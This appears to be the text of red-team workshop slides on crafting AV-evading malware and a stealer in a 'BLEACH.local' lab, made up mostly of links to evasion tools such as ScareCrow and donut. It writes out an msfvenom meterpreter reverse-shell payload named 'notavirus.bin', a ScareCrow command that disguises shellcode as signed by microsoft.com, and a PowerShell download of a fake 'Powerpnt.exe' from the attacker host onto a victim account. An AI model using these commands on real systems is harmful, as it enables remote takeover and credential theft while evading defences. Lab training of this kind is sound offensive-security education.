
Day Seven: Malwarocalypse

“PWN LIKE A MDFK ft. 
RED TEAM VIEW”



BLEACH.local : CRAFTING MALWARE

https://github.com/optiv/ScareCrow/releases/tag/v5.1 

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion 
https://www.blackhatethicalhacking.com/tools/scarecrow/ 

https://assume-breach.medium.com/home-grown-red-team-testing-common-av-evasion-with-pe-packers-on-windo
ws-11-a2a9e873fe13 

https://github.com/optiv/ScareCrow/releases/tag/v5.1
https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion
https://www.blackhatethicalhacking.com/tools/scarecrow/
https://assume-breach.medium.com/home-grown-red-team-testing-common-av-evasion-with-pe-packers-on-windows-11-a2a9e873fe13
https://assume-breach.medium.com/home-grown-red-team-testing-common-av-evasion-with-pe-packers-on-windows-11-a2a9e873fe13


BLEACH.local : CRAFTING MALWARE

https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/ 

http://www.youtube.com/watch?v=4ntO_9kk23E
https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/


BLEACH.local : CRAFTING MALWARE

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.9.7 LPORT=4443 -b '\x00' -f raw > notavirus.bin



BLEACH.local : CRAFTING MALWARE

┌──(kali㉿kali)-[~/Documents/mal]
└─$ ScareCrow/ScareCrow  -I mimitest.bin -domain www.microsoft.com -Exec VirtualAlloc -Loader binary -console



BLEACH.local : CRAFTING MALWARE



BLEACH.local : CRAFTING MALWARE



BLEACH.local : CRAFTING STEALER

https://github.com/TheWover/donut 

https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 

https://www.hackercoolmagazine.com/donut-shellcode-generator/ 

https://github.com/TheWover/donut
https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html
https://www.hackercoolmagazine.com/donut-shellcode-generator/


BLEACH.local : CRAFTING STEALER



BLEACH.local : CRAFTING STEALER



BLEACH.local : CRAFTING STEALER

PS C:\Users\jquerito\Downloads> wget http://10.0.9.7:8001/Powerpnt.exe -o t.exe

https://cheatsheet.haax.fr/windows-systems/exploitation/file_transfer/ 

https://cheatsheet.haax.fr/windows-systems/exploitation/file_transfer/


BLEACH.local : CRAFTING STEALER

PS C:\Users\jquerito\Downloads> wget http://10.0.9.7:8001/Powerpnt.exe -o t.exe



BLEACH.local : CRAFTING STEALER

PS C:\Users\jquerito\Downloads> wget http://10.0.9.7:8001/Powerpnt.exe -o t.exe



PS C:\Users\jquerito\Downloads> wget http://10.0.9.7:8001/Powerpnt.exe -o t.exe

BLEACH.local : CRAFTING STEALER



https://github.com/TheWover/donut-demos/tree/master 

BLEACH.local : MORE POCs

https://github.com/tcostam/awesome-command-control 

https://github.com/TheWover/donut-demos/tree/master
https://github.com/tcostam/awesome-command-control


CHARLA NAVAJA NEGRA :: 2022

http://www.youtube.com/watch?v=WKQBcWzbu4Y


BLEACH.local : Abusing DNSAdmins 


